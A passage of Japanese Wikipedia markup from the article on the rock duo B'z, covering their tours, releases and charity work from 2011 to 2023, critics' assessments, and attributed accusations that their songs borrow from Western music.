|title=リンキン・パーク、B'zやスラッシュら参加する日本支援アルバムをリリース |date=2011-03-24 |work=BARKS |accessdate=2018-06-07}}</ref>。また、8年ぶりとなる海外公演『B'z LIVE-GYM 2011 -long time no see-』をカナダとアメリカの3都市で開催した後、[[ロサンゼルス]]で行った「Music For Relief」による被災者支援のためのシークレット・ライブ『Music for Relief - Secret Show for Japan』に出演した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000072884 |title=リンキン・パーク×B'z、日本支援のために感動の一夜 |date=2011-09-02 |work=BARKS |accessdate=2018-06-07}}</ref>。『B'z LIVE-GYM 2011 -C'mon-』では最初の開催地となった宮城公演の収益全額を復興支援に寄付し、全公演でチャリティーグッズを販売した{{Refnest|group="注釈"|以後、チャリティーグッズの販売と寄付を続けており、[[東日本大震災]]のほか、これまでに2016年に発生した[[熊本地震 (2016年)|熊本地震]]や2018年の[[平成30年7月豪雨]](西日本豪雨)、[[新型コロナウイルス感染症 (2019年)|新型コロナウイルス]](COVID-19)感染症対策を支援している<ref>{{Cite web|和書|url=http://www.bz-vermillion.com/charity/ |title=寄付金活動報告 |work=B'z Official Website |publisher=[[VERMILLION RECORDS]] |accessdate=2021-02-07}}</ref>。}}<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000071687 |title=B'z、ツアー皮切りは宮城・セキスイハイムスーパーアリーナ |date=2011-07-20 |work=BARKS |accessdate=2018-06-07}}</ref>。
2012年も引き続き「ペプシネックス」のCMに出演し、CMには「Tshirts Live」篇で「[[GO FOR IT, BABY -キオクの山脈-]]」を使用したほか<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000077284 |title=B'zの新曲「GO FOR IT, BABY -キオクの山脈-」が「ペプシネックス」新CMソングに |date=2012-02-24 |work=BARKS |accessdate=2018-06-07}}</ref>、夏には「Summer Line」篇で配信限定アルバム『[[B'z (2012年のアルバム)|B'z]]』から38thシングル「[[愛のバクダン]]」を英語詞で新たにレコーディングした「Love Bomb」を使用した<ref>{{Cite web |url=https://www.barks.jp/news/?id=1000081417 |title=英語詞配信限定アルバム『B'z』、7月25日にリリース決定 |date=2012-07-13 |work=BARKS |accessdate=2018-06-07}}</ref>。また、[[カプコン]]のゲームソフト『[[Dragon's Dogma]]』主題歌となった24thシングル「[[さまよえる蒼い弾丸]]」を英語詞で新たにレコーディングした「Into Free -Dangan-」を配信限定シングルとしてリリースしたほか<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000078460 |title=B'z、初の配信限定作品「Into Free -Dangan-」リリース開始 |date=2012-04-04 |work=BARKS |accessdate=2018-06-07}}</ref>、[[キム・ヒョンジュン (1986年生)|キム・ヒョンジュン]]にはB'zとしては初の楽曲提供となる「[[HEAT (キム・ヒョンジュンの曲)|HEAT]]」を書き下ろした<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2010955/full/ |title=B'z初の楽曲提供にキム・ヒョンジュン「本当に光栄」 |date=2012-05-01 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>。『B'z LIVE-GYM 2012 -Into Free-』はアメリカとカナダの7都市で開催し、追加公演として日本国内4都市で『B'z LIVE-GYM 2012 -Into Free- EXTRA』を開催した。
2013年のデビュー25周年には、それまでに発表した50枚のシングル曲を収録したベスト・アルバム『[[B'z The Best XXV 1988-1998]]』と『[[B'z The Best XXV 1999-2012]]』を同時発売し<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000088659 |title=B'z、25周年を飾るオールシングル・ベスト・アルバム、新曲も登場 |date=2013-03-25 |work=BARKS |accessdate=2018-06-07}}</ref>、『B'z LIVE-GYM Pleasure 2013 -ENDLESS SUMMER-』を開催した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000094672 |title=【ライブレポート】B'z、デビュー25周年ツアーファイナルを祝う2500発の花火「B'zのLIVE-GYMにようこそ!」 |date=2013-09-23 |work=BARKS |accessdate=2018-06-07}}</ref><ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000094820 |title=【ライブレポート】B'z、<B'z LIVE-GYM Pleasure 2013 -ENDLESS SUMMER->で「25年前、“自分のバンドを作りたいな”とこの人が思わなければ、B'zは誕生しませんでした」 |date=2013-09-27 |work=BARKS |accessdate=2018-06-07}}</ref>。また、QVCマリンフィールドで開催した『AEROSONIC』では11年ぶりに[[エアロスミス]]と共演し、ともに「Mama Kin」を披露した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000093140 |title=<エアロソニック>、「ママ・キン」でエアロスミスとB'z共演 |date=2013-08-09 |work=BARKS |accessdate=2018-06-07}}</ref><ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000093147 |title=【ライブレポート】前代未聞の巨大2マンフェス<エアロソニック>、灼熱の一夜 |date=2013-08-09 |work=BARKS |accessdate=2018-06-07}}</ref>。
=== 2014年 - 2018年 ===
2014年はソロ活動となり、B'zとしては年末から2015年の年始にかけて複数の音楽番組に出演し<ref>{{Cite web|和書|url=https://natalie.mu/music/news/133094 |title=「Mステ」年末SPにラルク、B'z、ミスチル、EXILEら追加 |date=2014-12-05 |work=ナタリー |accessdate=2018-06-11}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/133792 |title=CDTV年越しライブにB'z、きゃりー、セカオワら9組エントリー |date=2014-12-14 |work=ナタリー |accessdate=2018-06-11}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/133420 |title=B'z、年明け「LIVE MONSTER」に初出演 |date=2014-12-10 |work=ナタリー |accessdate=2018-06-11}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/134417 |title=B'z、氣志團、西川貴教ら出演!“芸能界の音楽通”による4時間生放送 |date=2014-12-22 |work=ナタリー |accessdate=2018-06-11}}</ref>、51stシングル『[[有頂天 (B'zの曲)|有頂天]]』を披露した。19thアルバム『[[EPIC DAY]]』発売後に『B'z LIVE-GYM 2015 -EPIC NIGHT-』を開催し、全国の[[Zepp]]会場で追加公演を行ったほか、大阪心斎橋のミュージックバー「ROCKROCK」のオープン20周年記念ライブイベントに出演し、[[LOUDNESS]]と共演した<ref>{{Cite web|和書|url=http://www.rockrock.co.jp/rockbeyondrock/ |title=ROCKROCK 20th ANNIVERSARY LIVE【ROCK BEYOND ROCK】 |accessdate=2018-06-07}}</ref>。また、当時ニューヨーク・ヤンキースから古巣の[[広島東洋カープ]]に復帰した[[黒田博樹]]のために、[[MAZDA Zoom-Zoom スタジアム広島]](マツダスタジアム)での登場曲「[[RED (B'zの曲)|RED]]」を書き下ろした<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2050560/full/ |title=B'z、広島復帰の黒田投手登場曲制作「大合唱で盛り上げて」 |date=2015-03-25 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>。
2016年はソロ活動がメインではあったが、配信限定シングル『[[世界はあなたの色になる]]』、『[[フキアレナサイ]]』をリリースした。2017年、稲葉は[[スティーヴィー・サラス]]、松本は{{仮リンク|ダニエル・ホー|en|Daniel Ho}}とコラボレーションしたアルバムをそれぞれ発売してツアーを開催した。その後、B'zとして53rdシングル『[[声明/Still Alive]]』を発売し、8年ぶりのIn Your Townシリーズとなる『B'z SHOWCASE 2017 -B'z In Your Town-』を開催。また、[[ロック・フェスティバル]]『[[ROCK IN JAPAN FESTIVAL]]』と『[[ライジング・サン・ロックフェスティバル]]』に初出演した。フィジカル・リリースとしてはB'z初の[[ボックス・セット]]『[[B'z COMPLETE SINGLE BOX]]』発売を発表し、[[セブン-イレブン]]とコラボレーションした完全予約受注生産【Trailer Edition】の販売や「B'z×セブン-イレブンフェア」を展開した<ref name="BARKS2017.6">{{Cite web|和書|url=https://www.barks.jp/news/?id=1000143945 |title=B'z、全53作・全117曲の『COMPLETE SINGLE BOX』発売決定+『セブン-イレブンフェア』始動 |date=2017-06-29 |work=BARKS |accessdate=2018-07-04}}</ref>。デビュー30周年の一環となるイベント『[[B'z Loud-Gym]]』を47都道府県の[[ライブハウス]]で翌年9月まで月1回開催<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000145081 |title=B'z、<Loud-Gym>を結成30周年突入のデビュー記念日より計13回開催 |date=2017-07-27 |work=BARKS |accessdate=2017-06-08}}</ref>。20thアルバム『[[DINOSAUR (B'zのアルバム)|DINOSAUR]]』発売後、翌年にかけて『B'z LIVE-GYM 2017-2018 "LIVE DINOSAUR"』を開催した。
2018年には、デビュー30周年を記念した初の大型エキシビション([[展覧会]])『B'z 30th Year Exhibition "SCENES" 1988-2018』{{Refnest|group="注釈"|タイトルはメンバー2人の考案によるものであり、いまだ見ぬ風景を求め音楽作りを高いレベルで続けていくという意味合いがSCENESに込められ、活動30年の間、休むことなくレコーディング及びツアーを続けてきた軌跡を1988-2018として記したと発言している<ref>{{Cite news|url=https://hochi.news/articles/20180331-OHT1T50315.html?page=1|title=30周年B'zのお宝ズラリ…1日から初展覧会|work=スポーツ報知|publisher=株式会社報知新聞社|date=2018-04-01|accessdate=2022-09-27}}</ref>。}}を前期(1988-2002)と後期(2003-2018)に分けて開催し<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000153816 |title=【レポート】『B'z 30th Year Exhibition "SCENES" 1988-2018』の全貌 |date=2018-04-11 |work=BARKS |accessdate=2018-06-21}}</ref><ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000155239 |title=【レポート】『B'z 30th Year Exhibition "SCENES" 1988-2018』後期の見どころ |date=2018-05-22 |work=BARKS |accessdate=2018-06-21}}</ref>、会場内で上映した映像を全国の映画館で順次公開したほか<ref>{{Cite web|和書|url=https://natalie.mu/music/news/282164 |title=B'zエキシビションの映像作品が全国の劇場で上映決定、メンバー撮り下ろしコメントも |date=2018-05-15 |work=ナタリー |accessdate=2018-06-21}}</ref>、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2018 -HINOTORI-』を開催した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000160073 |title=【レポート】B'z LIVE-GYMは、「ライブ」ではなく「ドキュメンタリー」 |date=2018-09-24 |work=BARKS |accessdate=2018-11-23}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/300939 |title=B'zデビュー31年目に突入、珠玉セトリで味スタ沸かせた「Pleasure」ツアー最終日 |date=2018-09-24 |work=ナタリー |accessdate=2018-11-13}}</ref>。
=== 2019年 - 現在 ===
前年のツアー終了直後に翌年のアルバム発売とツアー開催を予告しており<ref>{{Cite news |url=https://tower.jp/article/news/2018/09/27/tg007 |title=B'z、オフィシャル・サイトにて来年ニュー・アルバムのリリースとライヴの開催を発表 |date=2019-04-10 |newspaper=TOWER RECORDS ONLINE |publisher=タワーレコード株式会社 |accessdate=2020-03-13}}</ref>、21stアルバム『[[NEW LOVE]]』発売前の元号が[[平成]]から[[令和]]に変わった5月1日から[[渋谷スクランブル交差点]]前にある[[東急百貨店]]の壁面に「平成 Thanks!」「令和 Welcome!」の巨大看板を3日間限定で公開した<ref>{{Cite news |url=https://natalie.mu/music/news/330070 |title=B'z「NEW LOVE」発売記念の巨大看板が渋谷に限定出現、ARアプリで特典も |newspaper=音楽ナタリー |publisher=株式会社ナターシャ |date=2019-05-01 |accessdate=2021-02-22}}</ref>。アルバム発売後に『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』を開催し、7月6日の大阪公演で[[LIVE-GYM]]の通算公演数が1000回となった<ref>{{Cite web|和書|url=https://www.musicvoice.jp/news/123579/|title=B'z稲葉浩志&松本孝弘、“サムアップ”ポーズで「1000公演」報告 祝福の声|date=2019-07-06 |work=MusicVoice |accessdate=2020-03-03}}</ref><ref>{{Facebook post|bz.official|2285817828176834}}</ref>。また、ツアー最終日の福岡公演を日本国内と台湾の映画館で生中継する[[ライブビューイング]]を行った<ref>{{Cite web|和書|url=https://web.archive.org/web/20190812151853/https://news.dwango.jp/music/40183-1908|title=B'z、ツアーファイナルを全国&台湾の映画館で同時生中継|date=2019-08-12 |work=[[ドワンゴ|ドワンゴジェイピーnews]]|accessdate=2020-03-03}}</ref>。ツアーの合間には10年ぶりとなる『[[サマーソニック|SUMMER SONIC 2019]]』に出演し、日本人アーティストではサマーソニック初となる[[ヘッドライナー (コンサート)|ヘッドライナー]]を務めた<ref>{{Cite web|和書|url=https://natalie.mu/music/news/316310 |title=B'z「SUMMER SONIC」で日本人アーティスト初のヘッドライナーに |date=2019-01-17 |work=ナタリー |accessdate=2019-01-17}}</ref>。
2020年、[[新型コロナウイルス感染症 (2019年)|新型コロナウイルス]]の感染拡大による緊急事態宣言の発出に伴い、『B'z LIVE-GYM -At Your Home-』と題して、これまでに発売した映像作品23本を4月13日から[[YouTube]]の公式チャンネルで5月31日までの期間限定で公開した<ref>{{Cite web|和書|title=B'zの映像作品23本をYouTubeでフル尺公開「B'z LIVE-GYM -At Your Home-」|url=https://natalie.mu/music/news/375243 |date=2020-04-13 |work=ナタリー |accessdate=2020-04-13}}</ref><ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2159869/full/ |title=B'z、歴代ライブ映像全23作品YouTubeで一挙フル公開 5月31日までの期間限定 |date=2020-04-13 |work=ORICON NEWS |accessdate=2020-04-27}}</ref>。4月27日には松本・稲葉によるリモートで「[[HOME (B'zの曲)|HOME]]」をセッションする動画を公開し<ref>{{Cite web|和書|title=B'z松本孝弘&稲葉浩志「HOME」をそれぞれのHOMEからセッション |url=https://natalie.mu/music/news/377074 |work=ナタリー |date=2020-04-27 |accessdate=2020-04-27}}</ref><ref>{{Cite web|和書|title=B'z初のホームで「HOME」をセッション |url=https://www.oricon.co.jp/news/2160981/full/ |work=ORICON NEWS |date=2020-04-27 |accessdate=2020-04-29}}</ref><ref>{{Cite video |和書|people=B'z |title=B'z “HOME” session |url=https://www.youtube.com/watch?v=Xuv-uqfXHtU |date=2020-04-27 |accessdate=2020-04-27}}</ref>、4月30日には『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』でのサポートメンバーを加えた「HOME」のバンドセッション動画を公開した<ref>{{Cite web|和書|title=B'z松本孝弘&稲葉浩志「HOME」海外のバンドメンバーも加わった新たなセッション動画公開 |url=https://natalie.mu/music/news/377486 |date=2020-04-30 |work=ナタリー |accessdate=2020-04-30}}</ref><ref>{{Cite web|和書|title=B'z、海外バンドメンバーが『“HOME” session』に参加 “Band playing HOME at their homes abroad!”|url=https://www.barks.jp/news/?id=1000182023 |date=2020-04-30 |work=BARKS |accessdate=2020-04-30}}</ref><ref>{{Cite video |和書|people=B'z |title=B'z “HOME” Band session |url=https://www.youtube.com/watch?v=8NhVCI_WW88 |date=2020-04-30 |accessdate=2020-04-30 }}</ref>。10月から11月にかけては、B'z初となる無観客配信ライブ『B'z SHOWCASE 2020 -5 ERAS 8820- Day1~5』を5週連続で開催した。これは、1988年のデビューから2020年までを5つの時代に分け、各公演が異なるセットリスト、ステージセットや演出も各公演で変更するといった内容であり、各メディアにおいて有料配信した<ref>{{Cite web|url=http://bz-vermillion.com/showcase2020/|title=B'z SHOWCASE 2020 -5 ERAS 8820- Day1~5|date=2020-09-11 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2020-09-14}}</ref><ref>{{Cite news |url=https://natalie.mu/music/news/395929 |title=B'zが5週連続で無観客配信ライブ開催、32年の歴史を振り返る |newspaper=音楽ナタリー |publisher=株式会社ナターシャ |date=2020-09-11 |accessdate=2020-09-14}}</ref><ref>{{Cite news |title=B'z、初の無観客配信ライブを10月末より5週連続開催 |url=https://www.barks.jp/news/?id=1000188815 |newspaper=BARKS |publisher=ジャパンミュージックネットワーク株式会社 |date=2020-09-11 |accessdate=2020-09-14}}</ref>。
2021年5月21日、B'z初となる[[サブスクリプション方式|サブスクリプション]][[ストリーミング]]サービスを開始し、松本および稲葉のソロ曲を含む880曲を配信開始した{{Refnest|group="注釈"|配信後、[[AWA (音楽配信)|AWA]]の全楽曲の中で再生数が急上昇した楽曲のリアルタイムランキング「THE HOT 100」で1位〜100位の全てを独占した<ref>{{Cite news|author=|url=https://www.musicvoice.jp/news/191010/|title=B’z、2組目となる快挙 AWA「THE HOT 100」すべて独占:1位は「いつかのメリークリスマス」【音楽】|work=MusicVoice|publisher=株式会社アイ・シー・アイ|date=2021-05-24|accessdate=2021-05-28}}</ref>。}}<ref>{{Cite news2|url=https://www.oricon.co.jp/news/2194033/full/|title=B’z ついに33年分の全曲サブスク解禁 松本孝弘、稲葉浩志ソロ作含む計880曲。|newspaper=ORICON NEWS|publisher=ORICON ME|date=2021-05-21|accessdate=2021-05-21}}</ref>。また、[[松本隆]]の作詞活動50周年を記念した[[トリビュート・アルバム]]『[[風街に連れてって!]]』に参加し、[[桑名正博]]の「[[セクシャルバイオレットNo.1]]」を[[カバー]]した<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/210615.html |title=B’z「セクシャルバイオレットNo.1」をカバー!松本隆トリビュートアルバムに参加!! |date=2021-06-15 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-08-01}}</ref>。9月にはB'zが初の主催となるRock Project『B'z presents UNITE #01』を開催し<ref>{{Cite web|和書|url=https://bz-vermillion.com/unite/ |title=B'z 初となる自身主催のRock Project「B'z presents UNITE #01」開催決定!!Mr.Children、GLAYとライブ初共演!!|date=2021-08-01 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-08-01}}</ref>、[[Mr.Children]]、[[GLAY]]とライブ初共演した。この模様は各メディアにおいて有料配信を行ったほか、ライブのタイトル曲となった「UNITE」も配信限定でリリースした<ref>{{Cite news |url=https://natalie.mu/music/news/445565 |title=B'z「UNITE #01」開幕前に新曲リリースを発表 |newspaper=音楽ナタリー |publisher=株式会社ナターシャ |date=2021-09-17 |accessdate=2021-10-01}}</ref><ref>{{Cite news |url=https://www.barks.jp/news/?id=1000208683 |title=B'zがMr.Children、GLAYとコラボ繰り広げた「UNITE」熱い競演を配信でも |date=2021-09-30|newspaper=BARKS |publisher=ジャパンミュージックネットワーク株式会社 |accessdate=2021-10-01}}</ref>。その後、「FRIENDS」シリーズをコンセプトとしたライブ『B'z presents LIVE FRIENDS』を開催し、約25年ぶりとなる「FRIENDS」シリーズの[[コンセプト・アルバム]]『[[FRIENDS III]]』を発売した<ref>{{Cite news|url=https://natalie.mu/music/news/449701|title=B'zが25年ぶり「FRIENDS」新作リリース、コンセプトライブ開催|newspaper=音楽ナタリー|publisher=株式会社ナターシャ|date=2021-10-17|accessdate=2021-12-24}}</ref><ref>{{Cite news|url=https://www.barks.jp/news/?id=1000208682|title=B'z、25年ぶりコンセプトアルバム『FRIENDS III』を今冬リリース+<LIVE FRIENDS>を11月2DAYS開催|newspaper=BARKS|publisher=ジャパンミュージックネットワーク株式会社|date=2021-10-17|accessdate=2021-12-24}}</ref><ref>{{cite news|url=https://www.oricon.co.jp/news/2210581/full/|title=B'z、25年ぶり続編『FRIENDS III』今冬発売 『LIVE FRIENDS』開催も決定 |newspaper=ORICON STYLE |publisher=オリコン|date=2021-10-17|accessdate=2021-12-24}}</ref>。年末から年明けにかけては『LIVE FRIENDS』を各メディアにおいて有料配信した。
2022年5月14日、約3年ぶりのツアーとなる『B'z LIVE-GYM 2022 -Highway X-』を開催。6月24日にはアルバムの先行配信限定シングル「[[SLEEPLESS (B'zの曲)|SLEEPLESS]]」を配信し<ref>{{Cite news|url=https://www.oricon.co.jp/news/2240338/full/|title=B'z新曲「SLEEPLESS」、「デジタルシングル」初登場1位【オリコンランキング】|newspaper=[[ORICON NEWS]]|publisher=oricon ME|date=2022-06-29|accessdate=2022-07-03}}</ref>、8月10日には22ndアルバム『[[Highway X]]』が発売された<ref>{{cite news|url=https://www.barks.jp/news/?id=1000219554 |title=B'z、22thフルアルバム『Highway X』を8月リリース |newspaper=[[BARKS]] |publisher=ジャパンミュージックネットワーク株式会社 |date=2022-05-12|accessdate=2022-08-09}}</ref>。8月28日、[[国立競技場]]で行われた[[矢沢永吉]]のデビュー50周年ライブ『EIKICHI YAZAWA 50th ANNIVERSARY TOUR「MY WAY」』にサプライズゲストとして出演した<ref>{{Cite news|url=https://www.oricon.co.jp/news/2247164/full/|title=矢沢永吉、新国立でB’zとサプライズ初共演「たまんないねー」 無告知登場に6万人どよめき&歓喜|newspaper=ORICON NEWS|publisher=oricon ME|date=2022-08-28|accessdate=2022-08-28}}</ref>。11月5日、デビュー35周年企画としてSUGOI花火とのコラボレーション『B'z ULTRA FIREWORKS 2022-2023』の第1弾を幕張で開催した<ref>{{Cite news|url=https://prtimes.jp/main/html/rd/p/000002041.000012949.html|title=最強のロックと “SUGOI花火”のコラボレーション!B'zの名曲とシンクロする最新型花火エンターテインメント!SUGOI花火 「B'z ULTRA FIREWORKS 2022-2023」|newspaper=PR TIMES|publisher=株式会社 PR TIMES|date=2022-09-30|accessdate=2023-03-13}}</ref>。
2023年3月10日から3月12日にかけて、デビュー35周年記念イベント『B'z presents -Treasure Land 2023-』を開催、イベントでは『B'z LIVE-GYM Pleasure '93 "JAP THE RIPPER"』と『B'z LIVE-GYM Pleasure '97 "FIREBALL"』のフルバージョンを初公開した<ref>{{Cite news |url=https://natalie.mu/music/news/516089 |title=松本&稲葉、朝イチの幕張で「皆さんハードコアですね」B'z「Treasure Land」で30年前の熱狂再び |newspaper=音楽ナタリー |publisher=株式会社ナターシャ |date=2023-03-10 |accessdate=2023-03-13}}</ref><ref>{{Cite news |url=https://www.barks.jp/news/?id=1000231052 |title=【レポート】B'z、<Treasure Land 2023>開幕「ここに集まってくれている皆さんが一番ハードコアです」 |date=2023-03-10 |newspaper=BARKS |publisher=ジャパンミュージックネットワーク株式会社 |accessdate=2023-03-13}}</ref>。6月17日、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2023 -STARS-』を開催<ref>{{Cite news |url=https://www.barks.jp/news/?id=1000228452 |title=B'z、5年ぶり<Pleasure>は全国14ヶ所28公演のアリーナおよびスタジアムツアー |newspaper=BARKS |publisher=ジャパンミュージックネットワークス |date=2023-01-01 |accessdate=2023-09-19 }}</ref>。7月12日、シングルCDとしては約6年ぶりとなる『[[STARS (B'zの曲)|STARS]]』を発売した<ref>{{Cite news |title=B'z、6年ぶりシングル「STARS」リリース決定 |url=https://natalie.mu/music/news/527089 |newspaper=音楽ナタリー |publisher=ナターシャ |date=2023-06-02 |accessdate=2023-09-19 }}</ref><ref>{{Cite news |url=https://www.barks.jp/news/?id=1000234949 |title=B'z、6年ぶりシングル「STARS」を7月リリース |newspaper=BARKS |publisher=ジャパンミュージックネットワークス |date=2023-06-02 |accessdate=2023-09-19 }}</ref>。8月4日、『B'z ULTRA FIREWORKS 2022-2023』の第2弾を北九州で開催した<ref>{{Cite news |url=https://www.barks.jp/news/?id=1000233642 |title=B'z名曲と花火の共演<B'z ULTRA FIREWORKS 2022-2023>、8月に北九州で開催 |newspaper=BARKS |publisher=ジャパンミュージックネットワークス |date=2023-05-08 |accessdate=2023-09-19 }}</ref>。
== 評価 ==
[[音楽評論家]]の[[大貫憲章]]は、熱心なリスナーではないため印象論でしかないという前置きをした上で、「ハードロックサウンドとシャウト、稲葉の外見の良さなどによって、B'zが日本の一般人が想定するロックのイメージをわかりやすく体現しているためではないか」と分析している<ref name="新型光"/>。[[音楽プロデューサー]]の[[亀田誠治]]によると、ヒット曲に必要な条件とする「アーティストパワー」と「楽曲のパワー」の両方を兼ね備えて安定的に売れ続けている「勝ち組安定型」の例としてB'zを挙げており<ref name="亀田誠治">{{Cite web|和書|author=[[亀田誠治]] |url=https://www.ritsumei.ac.jp/acd/cg/ss/jasrac/04.html |title=講義:「アーティストの発掘、マネージメントとビジネス」 |date=2006-10-21 |work=JASRAC寄附講座 コンテンツ産業論 |publisher=[[立命館大学]] |accessdate=2018-06-05}}</ref>、[[CDショップ]]も積極的に売り出すことでさらに売上枚数が増えると述べている<ref name="亀田誠治"/>。[[作詞家]]の[[森雪之丞]]は洋楽の[[ビート (音楽)|ビート]]に日本語をどう近づけていくかという「日本語ロック」の試行錯誤において、「稲葉君が歌えば何でもロックになるんですよ。彼の歌詞は、とても四畳半的な男の意気地ない言葉が入っていても、B'zのサウンドの中で彼が歌ったら、ロックである」としており{{Sfn|別冊カドカワ|2003|pp=93-94}}、「詞の世界として、か弱く、セコい心情を吐露していても、松本君のギターがあって、B'zの世界の中で聴くと、それがセコくないんですよ。それがロックだろうって思うんです」と述べている{{Sfn|別冊カドカワ|2003|pp=93-94}}。[[ギタリスト]]の[[マーティ・フリードマン]]は、「B'zはあれだけ人気なのにフォロワーがいないでしょ。テクニックがめちゃくちゃあるし、2人とも自分だけの独特なスタイルを確立しているから、マネしたくてもできないんだと思うよ」と述べている<ref>{{Cite web|和書|url=http://trendy.nikkeibp.co.jp/article/column/20091015/1029625/?rt=nocnt |title=イージーリスニングみたいなメロディーでもロックに聴かせるB'zの底力 |date=2009-10-20 |work=日経トレンディネット |publisher=日経BP |accessdate=2018-06-05 |quote=マーティ・フリードマンのJ-POPメタル斬り/延長戦}}</ref>。音楽評論家の[[伊藤政則]]は、「B'zは邦楽と洋楽の壁を少しずつ壊して今日に至っているからね」、「B'zの音楽を聴いていると、どうしてもそういう音楽も聴きたくなる。だから(邦楽と洋楽の)境界線みたいなものは壊している。今思えばこれはすごいことです」、「(松本さんや稲葉さんが影響を受けた海外アーティストやアルバムに関するエピソードが)B'zファンの音楽的な裾野を広げているという言い方もできるんじゃないかな」と述べている<ref>{{Cite journal|和書|title=B'z 境界線上から手に入れた王者の称号 |pages=8-10 |year=2017 |journal=Rolling Stone Japan |publisher=カルチュア・エンタテインメント |isbn=978-4-7770-2160-4}}</ref>。
B'zの2人は、売上枚数やライブの動員数などが話題になることについて松本は「セールスがプレッシャーになることは全然ない」{{Sfn|B'z Unreal Music|2000|p=119}}「たとえば、"数字"っていうのは一番世間にわかりやすい。何万枚売れたとか、いくら稼いだとか。それはそれでいいんですけど、自分の中での質の向上みたいなものには終わりがない」{{Sfn|B'z Unreal Music|2000|p=121}}、稲葉は「数字を気にする人たちがいるのは、それはそれで悪いことじゃないと思う。おもしろい話題の1つとしてとらえてくれればね……」{{Sfn|B'z Unreal Music|2000|p=120}}<ref>{{Cite interview|和書|subject=|url=http://www.j-rock.com/back_intime/98_11/98111/981111.html|title=B'z|interviewer=|publisher=J-ROCK MAGAZINE|date=1998-11-11|accessdate=2023-10-10|archiveurl=https://web.archive.org/web/20040217220703/http://www.j-rock.com/back_intime/98_11/98111/981111.html|archivedate=2004-02}}</ref>と述べている。また、稲葉は「記録とか目標よりも、今は、もうちょっと違う…例えば、やったことない場所でライブをやってみたいとか、そういうことが楽しい」<ref name="oriconstyle2005.4">{{Cite journal|和書|title=ソロからB'zへ—。白紙からの再始動 |page=19 |date=2005-04 |journal=oricon style |publisher=オリコン・エンタテインメント}}</ref>、松本は「新しいアルバムを創って新しいものが生まれてくる経験とか、知らない場所でライブをやったりしたいなって思えることの方が、今は楽しみ」<ref name="oriconstyle2005.4"/>と述べている。
=== パクリ問題 ===
<!--本項目はノートでの議論の結果の掲載につき、無断で削除及び大幅な改変は絶対におやめ下さい。-->
B'zを論評する時に、避けて通れないのが「[[ぱくり|パクリ]]」であるといわれている<ref>{{Cite book|和書|author=烏賀陽弘道|authorlink=烏賀陽弘道 |title=Jポップの心象風景 |year=2005 |publisher=[[文藝春秋]] |series=[[文春新書]] |isbn=4-16-660432-5 |chapter=「日本的「模倣文化」の象徴-B'z」}}</ref>。『[[マルコポーロ (雑誌)|マルコポーロ]]』94年10月号では、8曲を例に挙げて「パクリのオンパレード」と評しており<ref name="都築響一">{{Cite journal|和書|author=[[都築響一]] |title=サルマネクリエイター天国18回 |date=1994年10月号 |journal=[[マルコポーロ (雑誌)|マルコポーロ]] |publisher=[[文藝春秋]]}}</ref>、『音楽誌が書かないJポップ批評14』では、[[メロディ]]、[[リフ]]、[[編曲|アレンジ]]などのテーマごとに、計38曲の元ネタを明かしているとしている<ref>{{Cite book|和書|title=音楽誌が書かないJポップ批評14 「B'zの不思議」、再考! |year=2001 |series=[[別冊宝島]] |publisher=[[宝島社]] |isbn=4-7966-2335-3 |chapter=TAK・E.「元ネタ完全ガイド」}}</ref>。2枚のベストアルバムの記録的大ヒットを受けて、[[朝日新聞]]で特集された際にも、「洋楽のパクリというのはよく言われていること」と紹介されていた<ref name="asahi">批評の広場「見えない姿 奇妙な存在感」 都築響一の文より 『[[朝日新聞]]』1999年1月30日</ref>。
音楽ライターの夏至明および[[別冊宝島]]編集部が「B'zはファン以外からはどうみられているか」を調査した結果によると、ロックや音楽に通じている層からは「パクリ・ネタが露骨すぎ」、「[[ビーイング]]という出自から来る商業主義の匂いへの嫌悪」と見られているとしている<ref name="夏至明1999">{{Cite book|和書|title=音楽誌が書かないJポップ批評3 |year=1999 |series=別冊宝島 |publisher=宝島社 |isbn=4-7966-9466-8 |chapter=夏至明「B'z嫌いの人のためのB'z入門」}}</ref>。
